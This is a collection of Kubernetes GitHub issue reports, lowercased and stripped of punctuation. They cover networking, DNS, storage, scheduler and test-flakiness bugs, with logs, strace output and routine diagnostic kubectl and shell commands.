-a  :\r linux firescope1 4.15.0-22-generic  24-ubuntu smp wed may 16 12:15:17 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r 

what happened  :\r i used pod with a service to it. and i couldn't connect to this pod via clusterip, while pod ip worked as expected. it's not for all clusterip services, just for a particular one. \r \r that is virtual ip, that is cluster ip didn't route properly.\r \r   what you expected to happen  :\r \r clusterip working and routing properly\r \r   how to reproduce it  as minimally and precisely as possible   :\r no idea.\r \r   anything else we need to know?  :\r after restarting all kube-proxy pods it started to work properly. \r \r here are the most relevant logs i could find. it's mostly repeating the same message over and over again.\r \r    \r i1219 11:00:08.497286       1 graceful_termination.go:160  trying to delete rs: 10.233.11.127:5432/tcp/10.233.96.4:5432\r    \r \r    \r e1219 08:43:04.078410       1 graceful_termination.go:89  try delete rs \ 10.233.11.127:5432/tcp/10.233.64.18:5432\  err: failed to delete rs \ 10.233.11.127:5432/tcp/10.233.64.18:5432\ , can't find the real server\r    \r \r    \r i1219 08:43:04.078417       1 graceful_termination.go:93  lw: remote out of the list: 10.233.11.127:5432/tcp/10.233.64.18:5432\r    \r \r clusterip: 10.233.11.127\r podip: 10.233.64.18; after redeploying 10.233.96.4. it didn't work with either pod that's why i redeployed it.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.0\ , gitcommit:\ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ , gittreestate:\ clean\ , builddate:\ 2018-09-28t15:20:58z\ , goversion:\ go1.11\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t20:56:12z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r    linux ip-10-88-4-189.eu-central-1.compute.internal 4.15.0-1029-aws  30-ubuntu smp wed nov 21 23:58:13 utc 2018 x86_64 x86_64 x86_64 gnu/linux   \r - install tools:\r kubespray\r - others:\r \r <!-- do not edit below this line -->\r 

what happened  :\r \r minor issue with the current source code in  pkg/volume/iscsi/iscsi_util.go : the error message \ could not attach disk: timeout after 10s\  includes the verbatim string constant \ 10\   appears two times in adjacent rows , but the call to  waitforpathtoexist &devicepath, multipathdevicetimeout, iscsitransport   in the preceding if statement refers to the go constant  multipathdevicetimeout   currently set to 10  instead. the strings for the error messages should refer to  i.e. print  the same go constant to guarantee that they always stay in sync.\r \r - kubernetes version: current master branch on github\r \r 

docker runs a userland proxy   docker-proxy   process for pods using host ports. e.g., one of the the add-on pods   monitoring-influxdb-grafana   uses host ports.       root      1015  0.0  0.4 241128 37016 ?        sl   apr15   0:25 docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8086 -container-ip 10.245.2.3 -container-port 8086 root      1021  0.0  0.5 175848 38608 ?        sl   apr15   0:25 docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8083 -container-ip 10.245.2.3 -container-port 8083      in the containervm, kubelet moves the docker process to the docker-daemon cgroup. if the  docker-proxy  processes was created _before_ that, they wouldn't have been moved along with the docker daemon. this seems to be the case for most freshly created e2e clusters  i checked two clusters . if the  docker-proxy  processes are created _after_ docker has been moved, they're be part docker-daemon cgroup.  these cause a several issues when tracking the resource usage in the e2e tests: - only one node in the cluster _may_ have higher memory usage than others. - if the docker daemon is managed by systemd, it's likely that the  docker-proxy  processes are charged to the same docker.service cgroup. this is different from the default behavior we see in containervm nodes.  options to mitigate this impact on the resource tracking tests: 1. increase the memory threshold to account for the difference. 2. move the resource usage tracking test to the node e2e suite, where there is no cluster addons pods.  i think we can relax the memory threshold first  1 , and then migrate this test later  2 .  besides the test issues, we still have the problem of not being able to track the docker runtime usage consistently. should we charge the docker-proxy process to the pod or should in be in docker generally?   /cc @dchen1107 @vishh @kubernetes/sig-node

this is also consistent with listoptions, deleteoptions, etc. we also need to test it's added to all groups in  testcommonkindsregistered .  ref https://github.com/kubernetes/kubernetes/pull/27733 discussion_r67943081

problem statement:   during controlled standup and teardown of services or endpoints, the nodes can enter into computationally expensive loop where iptables refreshes eat a substantial amount of cpu.      use case:    for benchmarking and performance analysis we use a tool which loads the cluster in an aggressive fashion leveraging several concurrent submissions of well defined templates.  during this load we have seen the openshift-node kubelet+proxy  eating a large amount of cpu for extended periods of time.  in our experiments our nodes are small, so they will often stay peg'd at 100% cpu utilization  hot sand , even though the workload is pause containers.      proposed solutions:    - time window iptables refreshes.     - pro: decrease refreshes    - con: still broadcasting to all nodes - bulk time-windowed updates to services/endpoints   - pro: amortizes the cost of the update to the cluster through decreased watch + iptables refreshes    - con: bulk operations don't exist in the api.    /cc @thockin @danwinship @smarterclayton @eparis @wojtek-t @gmarek   xref: https://bugzilla.redhat.com/show_bug.cgi?id=1371971 c4

feature request  :\r \r aws announced today: \r https://aws.amazon.com/blogs/aws/amazon-ebs-update-new-elastic-volumes-change-everything/\r \r it would be a great boon if the root volumes on aws instances in k8s would scale up the used storage when nodes reach a certain usage volume. i think default rootvol size is 20gb? at 18gb, scale up +20gb and send alerts, etc. \r \r   anything else we need to know  :\r there is a cross-related issue with kops https://github.com/kubernetes/kops/issues/1929 issuecomment-280501487 that can probably be pivoted on. \r

lock when delete rc  \r    \r the kubectl hook on deleting replicationcontroller\r  root@wlan-cloudserver31 temp   kubectl  delete -f webserver-controller.yaml \r error: error when stopping \ webserver-controller.yaml\ : timed out waiting for the condition\r  root@wlan-cloudserver31 temp   \r    \r \r   steps to reproduce the issue:  \r 1.set datetime 8 hours later\r    \r   root@wlan-cloudserver31 home   date 03162317\r  thu mar 16 23:17:00 cst 2017\r    \r 2. create pods\r    \r root@wlan-cloudserver31 temp   kubectl create -f webserver-controller.yaml \r replicationcontroller \ webserver\  created\r  root@wlan-cloudserver31 temp   kubectl  get pods -o wide\r name              ready     status    restarts   age       node\r webserver-04mp0   1/1       running   0          10s       172.34.37.1\r    \r 3. set datetime to current right \r    \r  root@wlan-cloudserver31 temp   date\r thu mar 16 23:19:26 cst 2017\r  root@wlan-cloudserver31 temp   date 03161620\r thu mar 16 16:20:00 cst 2017\r  root@wlan-cloudserver31 temp   kubectl  get pods -o wide\r name              ready     status    restarts   age         node\r webserver-04mp0   1/1       running   0          <invalid>   172.34.37.1\r    \r \r   describe the results you received:  \r it hook on delete rc\r    \r  root@wlan-cloudserver31 temp   kubectl  delete -f webserver-controller.yaml \r error: error when stopping \ webserver-controller.yaml\ : timed out waiting for the condition\r  root@wlan-cloudserver31 wlanuser   kubectl delete  rc webserver\r error: timed out waiting for the condition\r    \r set datetime to 8 hours later , age is valid, failed to delete as before \r    \r  root@wlan-cloudserver31 wlanuser   date\r thu mar 16 16:50:50 cst 2017\r  root@wlan-cloudserver31 wlanuser   date 03170049\r fri mar 17 00:49:00 cst 2017\r  root@wlan-cloudserver31 wlanuser   kubectl get pods \r name              ready     status    restarts   age\r webserver-04mp0   1/1       running   0          1h\r  root@wlan-cloudserver31 wlanuser   kubectl delete rc webserver\r error: timed out waiting for the condition\r  root@wlan-cloudserver31 wlanuser   \r    \r   describe the results you expected:  \r    \r  root@wlan-cloudserver31 wlanuser   kubectl delete rc webserver\r replicationcontroller \ webserver\  deleted\r    \r   rc yaml, volumes:  \r     yaml\r             value: \ 8080\ \r         volumemounts:\r           - name: syslog\r             mountpath: /workspace/logs\r           - name: optiot\r             mountpath: /opt/iot\r           - name: systime\r             readonly: true\r             mountpath: /etc/localtime\r       volumes:\r         - name: syslog\r           hostpath: {path: /opt/iotlog/servers}\r         - name: optiot\r           hostpath: {path: /opt/iot}\r         - name: systime\r           hostpath: {path: /etc/localtime}\r     \r \r   strace results:  \r    \r  root@wlan-cloudserver31 home   strace -e trace=all -p 117841\r process 117841 attached\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r epoll_wait 6, {}, 128, 0                = 0\r epoll_wait 6, {{epollin|epollout, {u32=2798273456, u64=140684452053936}}}, 128, -1  = 1\r futex 0x3422cb0, futex_wake, 1          = 1\r read 5, \ http/1.1 200 ok\\r\ content-type: a\ ..., 4096  = 2281\r futex 0xc8202da108, futex_wake, 1       = 1\r futex 0xc820474508, futex_wake, 1       = 1\r futex 0xc820474508, futex_wake, 1       = 1\r read 5, 0xc82012f000, 4096              = -1 eagain  resource temporarily unavailable \r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x3422cc8, futex_wake, 1          = 0\r futex 0x3422bf0, futex_wake, 1          = 1\r futex 0xc820062508, futex_wake, 1       = 1\r futex 0x34239c8, futex_wait, 0, null    = 0\r sched_yield                             = 0\r sched_yield                             = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r sched_yield                             = 0\r futex 0x3423090, futex_wait, 2, null    = 0\r futex 0x3423090, futex_wake, 1          = 0\r futex 0x3422cc8, futex_wait, 0, {0, 100000}  = -1 eagain  resource temporarily unavailable \r futex 0x3422ca0, futex_wake, 1          = 0\r futex 0x34239c8, futex_wait, 0, null    = -1 eagain  resource temporarily unavailable \r sched_yield                             = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x3422ca0, futex_wake, 1          = 1\r futex 0x34239c8, futex_wait, 0, null    = -1 eagain  resource temporarily unavailable \r sched_yield                             = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r sched_yield                             = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r epoll_wait 6, {}, 128, 0                = 0\r epoll_wait 6, {{epollin|epollout, {u32=2798273456, u64=140684452053936}}}, 128, -1  = 1\r futex 0x3422cb0, futex_wake, 1          = 1\r read 5, \ http/1.1 200 ok\\r\ content-type: a\ ..., 4096  = 2281\r futex 0xc8202da108, futex_wake, 1       = 1\r read 5, 0xc82012f000, 4096              = -1 eagain  resource temporarily unavailable \r epoll_wait 6, {}, 128, 0                = 0\r epoll_wait 6, {{epollin|epollout, {u32=2798273456, u64=140684452053936}}}, 128, -1  = 1\r futex 0x3422cb0, futex_wake, 1          = 1\r read 5, \ http/1.1 200 ok\\r\ content-type: a\ ..., 4096  = 2281\r futex 0xc8202da108, futex_wake, 1       = 1\r read 5, 0xc82012f000, 4096              = -1 eagain  resource temporarily unavailable \r epoll_wait 6, {}, 128, 0                = 0\r epoll_wait 6, {{epollin|epollout, {u32=2798273456, u64=140684452053936}}}, 128, -1  = 1\r futex 0x3422cb0, futex_wake, 1          = 1\r read 5, \ http/1.1 200 ok\\r\ content-type: a\ ..., 4096  = 2281\r futex 0xc820474508, futex_wake, 1       = 1\r futex 0xc8202da108, futex_wake, 1       = 1\r read 5, 0xc82012f000, 4096              = -1 eagain  resource temporarily unavailable \r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r epoll_wait 6, {}, 128, 0                = 0\r epoll_wait 6, {{epollin|epollout, {u32=2798273456, u64=140684452053936}}}, 128, -1  = 1\r futex 0x3422cb0, futex_wake, 1          = 1\r read 5, \ http/1.1 200 ok\\r\ content-type: a\ ..., 4096  = 2281\r futex 0xc820474508, futex_wake, 1       = 1\r read 5, 0xc82012f000, 4096              = -1 eagain  resource temporarily unavailable \r epoll_wait 6, {}, 128, 0                = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r epoll_wait 6, {}, 128, 0                = 0\r epoll_wait 6, {{epollin|epollout, {u32=2798273456, u64=140684452053936}}}, 128, -1  = 1\r futex 0x3422cb0, futex_wake, 1          = 1\r read 5, \ http/1.1 200 ok\\r\ content-type: a\ ..., 4096  = 2281\r futex 0xc8202da108, futex_wake, 1       = 1\r futex 0xc820474508, futex_wake, 1       = 1\r futex 0xc820474508, futex_wake, 1       = 1\r read 5, 0xc82012f000, 4096              = -1 eagain  resource temporarily unavailable \r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r epoll_wait 6, {}, 128, 0                = 0\r epoll_wait 6, {{epollin|epollout, {u32=2798273456, u64=140684452053936}}}, 128, -1  = 1\r futex 0x3422cb0, futex_wake, 1          = 1\r read 5, \ http/1.1 200 ok\\r\ content-type: a\ ..., 4096  = 2281\r futex 0xc8202da108, futex_wake, 1       = 1\r futex 0xc820474508, futex_wake, 1       = 1\r read 5, 0xc82012f000, 4096              = -1 eagain  resource temporarily unavailable \r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0xc820474508, futex_wake, 1       = 1\r futex 0x3422238, futex_wait, 0, {0, 973523821}  = -1 etimedout  connection timed out \r futex 0x3422cb0, futex_wake, 1          = 1\r futex 0xc8202da108, futex_wake, 1       = 1\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r epoll_wait 6, {}, 128, 0                = 0\r epoll_wait 6, {{epollin|epollout, {u32=2798273456, u64=140684452053936}}}, 128, -1  = 1\r futex 0x3422cb0, futex_wake, 1          = 1\r read 5, \ http/1.1 200 ok\\r\ content-type: a\ ..., 4096  = 2281\r futex 0xc820063108, futex_wake, 1       = 1\r read 5, 0xc82012f000, 4096              = -1 eagain  resource temporarily unavailable \r epoll_wait 6, {}, 128, 0                = 0\r epoll_wait 6, {{epollin|epollout, {u32=2798273456, u64=140684452053936}}}, 128, -1  = 1\r futex 0x3422cb0, futex_wake, 1          = 1\r read 5, \ http/1.1 200 ok\\r\ content-type: a\ ..., 4096  = 2281\r futex 0xc820062508, futex_wake, 1       = 1\r futex 0xc820474508, futex_wake, 1       = 1\r read 5, 0xc82012f000, 4096              = -1 eagain  resource temporarily unavailable \r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r epoll_wait 6, {}, 128, 0                = 0\r select 0, null, null, null, {0, 100}    = 0  timeout \r epoll_wait 6, {{epollin|epollout, {u32=2798273456, u64=140684452053936}}}, 128, -1  = 1\r futex 0x3422cb0, futex_wake, 1          = 1\r read 5, \ http/1.1 200 ok\\r\ content-type: a\ ..., 4096  = 2281\r futex 0xc820062508, futex_wake, 1       = 1\r read 5, 0xc82012f000, 4096              = -1 eagain  resource temporarily unavailable \r futex 0x34239c8, futex_wait, 0, null    = 0\r futex 0x34239c8, futex_wait, 0, null    = 0\r select 0, null, null, null, {0, 100}    = 0  timeout \r futex 0x34239c8, futex_wait, 0, null    = 0\r epoll_wait 6, {}, 128, 0                = 0\r select 0, null, null, null, {0, 100}    = 0  timeout \r epoll_wait 6, {{epollin|epollout, {u32=2798273456, u64=140684452053936\r    \r \r   output of  docker version :  \r \r    \r webserver-04mp0   1/1       running   0          <invalid>\r  root@wlan-cloudserver31 wlanuser   kubectl version \r client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ ec7364b6e3b155e78086018aa644057edbe196e5\ , gittreestate:\ clean\ }\r server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ ec7364b6e3b155e78086018aa644057edbe196e5\ , gittreestate:\ clean\ }\r  root@wlan-cloudserver31 wlanuser   docker version \r client:\r  version:         1.9.1\r  api version:     1.21\r  package version: docker-common-1.9.1-40.el7.centos.x86_64\r  go version:      go1.4.2\r  git commit:      ab77bde/1.9.1\r  built:           \r  os/arch:         linux/amd64\r \r server:\r  version:         1.9.1\r  api version:     1.21\r  package version: docker-common-1.9.1-40.el7.centos.x86_64\r  go version:      go1.4.2\r  git commit:      ab77bde/1.9.1\r  built:           \r  os/arch:         linux/amd64\r    \r \r   output of  docker info :  \r \r    \r  root@wlan-cloudserver31 wlanuser   docker info\r containers: 12\r images: 73\r server version: 1.9.1\r storage driver: devicemapper\r  pool name: docker-253:0-138259636-pool\r  pool blocksize: 65.54 kb\r  base device size: 107.4 gb\r  backing filesystem: \r  data file: /dev/loop10\r  metadata file: /dev/loop11\r  data space used: 1.066 gb\r  data space total: 107.4 gb\r  data space available: 23.01 gb\r  metadata space used: 2.404 mb\r  metadata space total: 2.147 gb\r  metadata space available: 2.145 gb\r  udev sync supported: true\r  deferred removal enabled: false\r  deferred deletion enabled: false\r  deferred deleted device count: 0\r  data loop file: /opt/iotdata/docker/devicemapper/devicemapper/data\r  metadata loop file: /opt/iotdata/docker/devicemapper/devicemapper/metadata\r  library version: 1.02.135-rhel7  2016-09-28 \r execution driver: native-0.2\r logging driver: json-file\r kernel version: 3.10.0-229.el7.x86_64\r operating system: centos linux 7  core \r cpus: 8\r total memory: 15.5 gib\r name: wlan-cloudserver31\r id: sjfp:o4hp:2tep:gwrt:wlkt:pcvc:ujle:yug5:eqck:x6sd:6toc:hcg2\r warning: bridge-nf-call-ip6tables is disabled\r    \r \r   additional environment details  aws, virtualbox, physical, etc. :  \r

just a simple optimization, \r \r    \r func  cache  schedulercache  list selector labels.selector      v1.pod, error  {\r \tcache.mu.lock  \r \tdefer cache.mu.unlock  \r \tvar pods    v1.pod\r \tfor _, info := range cache.nodes {\r \t\tfor _, pod := range info.pods {\r \t\t\tif selector.matches labels.set pod.labels   {\r \t\t\t\tpods = append pods, pod \r \t\t\t}\r \t\t}\r \t}\r \treturn pods, nil\r }\r    \r \r when pod's number is large, the append will cause many memory allocation, to reduce it i raise a pr\r \r https://github.com/kubernetes/kubernetes/pull/44261\r \r

flaky job: pr:pull-kubernetes-unit  flakes in the past week:   110    consistency:   91.60%         flakiest tests by flake count: | test | flake count | | --- | --- | | k8s.io/kubernetes/vendor/k8s.io/kube-apiextensions-server/test/integration testcrossnamespacelistwatch | 60 | | k8s.io/kubernetes/pkg/kubeapiserver/admission/configuration testconfiguration | 28 | | k8s.io/kubernetes/pkg/controller/certificates testcertificatecontroller | 11 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

is this a bug report or feature request?  :\r \r  \r   what happened  :\r the issue was noticed when some containers stopped being able to resolve cluster addresses. after a docker daemon restart, ~10% of containers that came up had invalid /etc/resolv.conf files  did not contain kubedns settings, just the host /etc/resolv/conf . this was distributed evenly across the 4 types of images/pod configurations in use. \r \r   what you expected to happen  :\r all containers should start with a resolv.conf that matches the environment.\r \r   how to reproduce it  as minimally and precisely as possible   :\r sudo systemctl restart docker\r these nodes had ~80 pods each\r \r   anything else we need to know?  :\r this may or may not be at all relevant  it could just be a coincidence :\r this issue was noticed on 2 servers whose docker daemon was restarted, and the result was 9 containers with this issue, on each node  of an original ~80 . stopping the 9 containers with issues  docker stop ...  resulted in 1 container with this issue, on each node. stopping that 1 container resulted in no containers with this issue. \r \r printed container id + resolv.conf with:\r sudo find /var/lib/docker/containers/ -name resolv.conf -exec sh -c 'echo \ $0\  && cat \ $0\ '  {} \\; \r counted containers with issue with  ignoring 1 for the kube-proxy container :\r sudo find /var/lib/docker/containers/ -name resolv.conf -exec cat {} \\; | grep 10.0.0.2\r \r    \r //kube-proxy resolv.conf\r nameserver 10.0.0.2\r search ec2.internal\r \r //expected resolv.conf for other pods\r nameserver 10.128.0.10\r search default.svc.cluster.local svc.cluster.local cluster.local ec2.internal\r options ndots:5\r \r // invalid resolv.conf\r   this file is managed by man:systemd-resolved 8 . do not edit.\r  \r   this is a dynamic resolv.conf file for connecting local clients directly to\r   all known dns servers.\r  \r   third party programs must not access this file directly, but only through the\r   symlink at /etc/resolv.conf. to manage man:resolv.conf 5  in a different way,\r   replace this symlink by a static file or a different symlink.\r  \r   see man:systemd-resolved.service 8  for details about the supported modes of\r   operation for /etc/resolv.conf.\r \r nameserver 10.0.0.2\r search ec2.internal\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.2\r - cloud provider or hardware configuration  : aws ec2\r - os  e.g. from /etc/os-release : container linux by coreos stable  1409.7.0 \r - kernel  e.g.  uname -a  :linux 4.11.11-coreos\r - install tools: manual download of kubelet 1.7.2\r - others: docker version 1.12.6, build a82d35e\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r run e2e conformance tests remotely on an already-running ipv6-only cluster.\r some tests fail where there is an attempt to connect using an <ipv6-address>:<port>\r endpoint, where there are no brackets around the ipv6 address. the ipv6 address\r needs to be bracketized in order to distinguish the colons in the address from the\r colon preceding the port number, e.g.  2001:db8::10 :6443.\r \r   what you expected to happen  :\r e2e tests should used brackets around ipv6 addresses when the addresses\r appear in an <ipv6-address>:<port> endpoint, e.g.  2001:db8::10 :6443.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run e2e conformance tests remotely on an already-running ipv6-only cluster.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : virtualbox cluster, ubuntu 16.04.1 host, centos 7 guests\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

several clients and controllers want a caching discovery restmapper that regenerates its contents periodically and/or on failure, since discovery information is not guaranteed to stay static over the lifetime of a process -- new apis may be registered after the initial discovery information has been fetched.  we should add an instance of this to the controllercontext so that different controllers can share this information.\r \r the cached discovery client half of this equation is already there   \ k8s.io/client-go/discovery\ .cacheddiscoveryinterface  , however, the equivalent restmapper half   \ k8s.io/client-go/discovery\ .deferreddiscoveryrestmapper   doesn't quite do what we want -- the  \ k8s.io/client-go/discovery/cached\ .memcacheclient  implementation of  cacheddiscoveryinterface  always reports fresh  after the initial population , so  cacheddiscoveryrestmapper  will never call  invalidate  on it more than once, meaning we never update our cached discovery information.  we need to periodically invalidate the underlying cached discovery information for this to work properly.\r \r examples of things that want this:\r - as input to the scalekindresolver used by the scale client in the hpa controller\r - namespace cleanup?\r - gc?\r - k8s-prometheus-adapter  external to kube \r \r

is this a bug report or feature request?  : bug\r >  \r   what happened  :\r \r when coredns is deployed by default using feature-gates of kubeadm, it does not log anything when processing a dns query.\r \r that is due to change of log option of coredns in latest version.\r that version was bumped up in kubeadm, but the manifest was not adapted to the new log option.\r \r - initial change of 'log stdout' in coredns : https://github.com/coredns/coredns/issues/1218\r - version of coredns 1.0.0 bumped into kubeadm :  56802\r \r note: i guess we should also changed manifests for kube-up : see  55728\r \r \r the change in manifest expected is to remove the option \ stdout\  in the line \ log ...\ . as it is now interpreted as a scope of domain to log.\r \r invalid manifest:\r >   corefile: |\r >      .:53 {\r >           errors\r >             log stdout  \r >           health\r >         ....\r > \r \r correct manifest:\r >    corefile: |\r >      .:53 {\r >           errors\r >             log  \r >           health\r >         ....\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9 and main\r - cloud provider or hardware configuration: any\r - install tools: kubeadm, kube-up\r \r    workaround for installation that needs the log \r \r 1. update the configmap for coredns\r \r  kubectl get configmaps -n kube-system coredns -o yaml | sed \ s/log stdout/log/g\  | kubectl replace -f -\r  \r \r 2. restart the coredns deployment\r \r  \r kubectl scale deployment --replicas=0 -n kube-system coredns\r  \r  \r kubectl scale deployment --replicas=1 -n kube-system coredns\r  \r \r \r

i am using volumemode: block to access iscsi block device inside the pod but it is throwing following error:\r \r jun 17 06:53:35 k8worker1 kubelet: e0617 06:53:35.041066   11617 reconciler.go:258  operationexecutor.mountvolume failed  controllerattachdetachenabled true  for volume \ block-pv\   uniquename: \ kubernetes.io/iscsi/192.168.16.3:3260:iqn.2015-12.com.oracleiaas:bf104865-8dba-4f99-b63e-2c701b0735b5:1\   pod \ ol76\   uid: \ 0afac5a4-71fb-11e8-a8bb-000017010f24\   : mapvolume.findmapperpluginbyspec failed to find blockvolumemapper plugin. volume plugin is nil. for volume \ block-pv\   uniquename: \ kubernetes.io/iscsi/192.168.16.3:3260:iqn.2015-12.com.oracleiaas:bf104865-8dba-4f99-b63e-2c701b0735b5:1\   pod \ ol76\   uid: \ 0afac5a4-71fb-11e8-a8bb-000017010f24\  \r \r following are the steps to reproduce the same:\r block-pv.yaml\r ===========\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: block-pv\r spec:\r   capacity:\r     storage: 100gi\r   accessmodes:\r     - readwriteonce\r   volumemode: block\r   persistentvolumereclaimpolicy: retain\r   iscsi:\r      targetportal: 192.168.16.3:3260\r      portals:  '192.168.16.3.3:3260' \r      iqn: iqn.2015-12.com.oracleiaas:bf104865-8dba-4f99-b63e-2c701b0735b5\r      lun: 1\r      readonly: false\r \r block-pvc.yaml\r ===========\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: block-pvc\r spec:\r   accessmodes:\r     - readwriteonce\r   volumemode: block\r   resources:\r     requests:\r       storage: 80gi\r \r bash-4.2  kubectl describe pv block-pv\r name:            block-pv\r labels:          <none>\r annotations:     pv.kubernetes.io/bound-by-controller=yes\r storageclass:\r status:          bound\r claim:           default/block-pvc\r reclaim policy:  retain\r access modes:    rwo\r volumemode:      block\r capacity:        100gi\r message:\r source:\r     type:               iscsi  an iscsi disk resource that is attached to a kubelet's host machine and then exposed to the pod \r     targetportal:       192.168.16.3:3260\r     iqn:                iqn.2015-12.com.oracleiaas:bf104865-8dba-4f99-b63e-2c701b0735b5\r     lun:                1\r     iscsiinterface      default\r     fstype:\r     readonly:           false\r     portals:             192.168.16.3:3260 \r     discoverychapauth:  false\r     sessionchapauth:    false\r     secretref:          <nil>\r     initiatorname:      <none>\r events:                 <none>\r \r bash-4.2  kubectl describe pvc block-pvc\r name:          block-pvc\r namespace:     default\r storageclass:\r status:        bound\r volume:        block-pv\r labels:        <none>\r annotations:   pv.kubernetes.io/bind-completed=yes\r                pv.kubernetes.io/bound-by-controller=yes\r finalizers:      \r capacity:      100gi\r access modes:  rwo\r volumemode:    block\r events:        <none>\r \r pod specification file : ol76.yaml\r ========================\r apiversion: v1\r kind: pod\r metadata:\r   name: ol76\r   labels:\r     name: ol76\r spec:\r   hostname: ol76\r   volumes:\r       - name: data\r       persistentvolumeclaim:\r         claimname: block-pvc\r   containers:\r     - name: ol76\r       image: oraclelinux:latest\r       resources:\r        limits:\r          memory: \ 200mi\ \r          cpu: \ 1.5\ \r        requests:\r          memory: \ 200mi\ \r          cpu: \ 1.5\ \r       securitycontext:\r        capabilities:\r          add:  \ net_admin\ , \ sys_nice\ , \ sys_resource\  \r        volumedevices:\r         - name: data\r           devicepath: /dev/xvda

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r \r   what happened  :\r is there support in kubectl pod deployment for docker option --storage-opt if there is an option need to be passed to the docker graph/storage driver during pod deployment ? \r   what you expected to happen  :\r need a way to pass in deployment yaml file to instruct the underlying docker storage driver which some custom options.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration: supermicro machines\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  : linux centos-60-105 3.10.0-862.3.2.el7.x86_64  1 smp mon may 21 23:36:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

i am new to  kubernetes . when i am running the kubectl get pod i am getting the following error.\r \r \r  root@kubernetes-workernode1 ~   kubectl get pod\r e0710 10:04:07.577240   31002 round_trippers.go:169  cancelrequest not implemented\r e0710 10:04:39.578067   31002 round_trippers.go:169  cancelrequest not implemented\r e0710 10:05:11.578828   31002 round_trippers.go:169  cancelrequest not implemented\r e0710 10:05:43.579544   31002 round_trippers.go:169  cancelrequest not implemented\r e0710 10:06:15.580207   31002 round_trippers.go:169  cancelrequest not implemented\r unable to connect to the server: context deadline exceeded  client.timeout exceeded while awaiting headers \r \r \r @smarterclayton

